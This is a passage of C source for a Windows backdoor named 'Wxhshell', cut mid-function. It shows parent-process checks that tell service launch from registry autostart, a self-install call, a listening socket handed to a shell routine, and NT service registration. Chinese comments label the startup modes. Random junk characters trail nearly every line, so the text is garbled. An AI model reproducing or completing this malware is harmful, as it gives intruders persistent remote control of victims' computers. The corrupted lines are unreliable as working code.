ULONG InheritedFromUniqueProcessId; sQY0Xys<4
} PROCESS_BASIC_INFORMATION; Bq\WG=Fd
/9C>{29x!
PROCNTQSIP NtQueryInformationProcess; jATN):8W
4+0:(=>[%
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B|BJkY'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {Hxziyv~Y(
MCfDR#a
HANDLE hProcess; M5LqZyY
PROCESS_BASIC_INFORMATION pbi; 55x.Q
SjU0Xb)[
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u O~MT7~[X
if(NULL == hInst ) return 0; Uw>g^[V;
E`3[62C
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z9PG7h
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]<E\J+5K
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _5768G`P
`"E<%$|ZQy
if (!NtQueryInformationProcess) return 0; xTdh/}
ZCkwK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !iGZo2LV
if(!hProcess) return 0; Y<`uq'V
Yg")/*!H
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WAh{*$Rpl
uTUkRqtD!
CloseHandle(hProcess); EXbhyg
q^kOyA.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Aj2yAg
if(hProcess==NULL) return 0;
]4oF!S%F
l,M?
HMODULE hMod; kR(hUc1O
char procName[255]; Y!nE65
unsigned long cbNeeded; J$i5A9IUr
GVzG
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z4c{W~}`
H9T'{R*FC
CloseHandle(hProcess); X9n},}bJ"
cH\.-5NQ
if(strstr(procName,"services")) return 1; // 以服务启动 |=4imM7
`Jon^&^;|
return 0; // 注册表启动 2UjQ!g`
} *.NVc
k:kx=K5=4
// 主模块 ^0&
int StartWxhshell(LPSTR lpCmdLine) Ea[K$NC)#
{ o8ADAU"
SOCKET wsl; c27A)`
BOOL val=TRUE; @,v.Y6Ge
int port=0; *H%Jgz,
struct sockaddr_in door; C)`y<O
=P<7tsSuoK
if(wscfg.ws_autoins) Install(); &p#.m"Oon
N[AX]gOJ
port=atoi(lpCmdLine); Q>emyij
ibskce{H
if(port<=0) port=wscfg.ws_port; 8;]U:tv
p_2-(n@
WSADATA data; 3)+}2
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (y!<^Q
F2RU7o'f.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :Sd
iG=t
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?Dk&5d^d
door.sin_family = AF_INET; u>o2lvy8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mk@%Wuxg2
door.sin_port = htons(port); E"$AOM?(*i
7LY4q/
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F%pYnHr<
closesocket(wsl); op|/_I$
return 1; n[pW^&7x
} Y-Gqx
juQQ
if(listen(wsl,2) == INVALID_SOCKET) { }_L,Xg:I
closesocket(wsl); Fm3B8Int
return 1; Ks@
} *XZlnO
Wxhshell(wsl); 4r'f/s8"#
WSACleanup(); Dy_Za.N2
yb:Xjg7
return 0; k&PxhDf
qXJBLIG
} &}G2;O}3
)a%kAUNj
// 以NT服务方式启动 2pEr
s|r
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bdd>r#]
{ 0R%R2p'wG
DWORD status = 0; ki[Yu+';}
DWORD specificError = 0xfffffff; 9'|NF<
=N%;HfUD
serviceStatus.dwServiceType = SERVICE_WIN32; ?tLBEoUmKT
serviceStatus.dwCurrentState = SERVICE_START_PENDING; y9OxPq.Cy
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0HRLTgIC
serviceStatus.dwWin32ExitCode = 0; `w
J^
serviceStatus.dwServiceSpecificExitCode = 0; P~y%
serviceStatus.dwCheckPoint = 0; o%E^41M7E
serviceStatus.dwWaitHint = 0; n2$(MDdL`
Ht Z3n"2
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G'sEbw'[
if (hServiceStatusHandle==0) return; & A%*sD6
P=%'2BQ{{
status = GetLastError(); b+.P4+
if (status!=NO_ERROR) tz&oe
{ ir%?J&C+t
serviceStatus.dwCurrentState = SERVICE_STOPPED; uIkB&